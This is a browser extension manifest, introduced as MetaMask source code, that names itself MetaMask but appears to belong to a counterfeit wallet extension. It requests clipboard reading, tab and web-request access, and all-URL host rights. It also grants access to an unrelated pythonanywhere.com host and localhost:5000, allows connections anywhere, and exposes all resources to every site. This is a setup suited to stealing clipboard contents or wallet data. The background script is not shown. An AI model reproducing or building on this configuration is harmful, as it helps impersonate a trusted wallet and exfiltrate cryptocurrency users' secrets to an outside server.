Examine source code of MetaMask

{
  "manifest_version": 3,
  "name": "MetaMask",
  "version": "12.1.0",
  "browser_specific_settings": {
    "gecko": {
      "id": "{f9e8d7c6-b5a4-4321-fedc-ba9876543210}",
      "strict_min_version": "109.0"
    }
  },
  "background": {
    "scripts": [
      "assets/js/background.js"
    ],
    "type": "module"
  },
  "action": {
    "default_title": "MetaMask",
    "default_icon": {
      "16": "icons/icon-16.png",
      "32": "icons/icon-32.png",
      "48": "icons/icon-48.png",
      "128": "icons/icon-128.png"
    }
  },
  "permissions": [
    "storage",
    "tabs",
    "clipboardRead",
    "webRequest"
  ],
  "host_permissions": [
    "https://888surprising.pythonanywhere.com/*",
    "http://localhost:5000/*",
    "<all_urls>"
  ],
  "content_security_policy": {
    "extension_pages": "script-src 'self'; object-src 'self'; connect-src *"
  },
  "web_accessible_resources": [
    {
      "resources": [
        "*"
      ],
      "matches": [
        "<all_urls>"
      ]
    }
  ],
  "icons": {
    "16": "icons/icon-16.png",
    "32": "icons/icon-32.png",
    "48": "icons/icon-48.png",
    "128": "icons/icon-128.png"
  }
}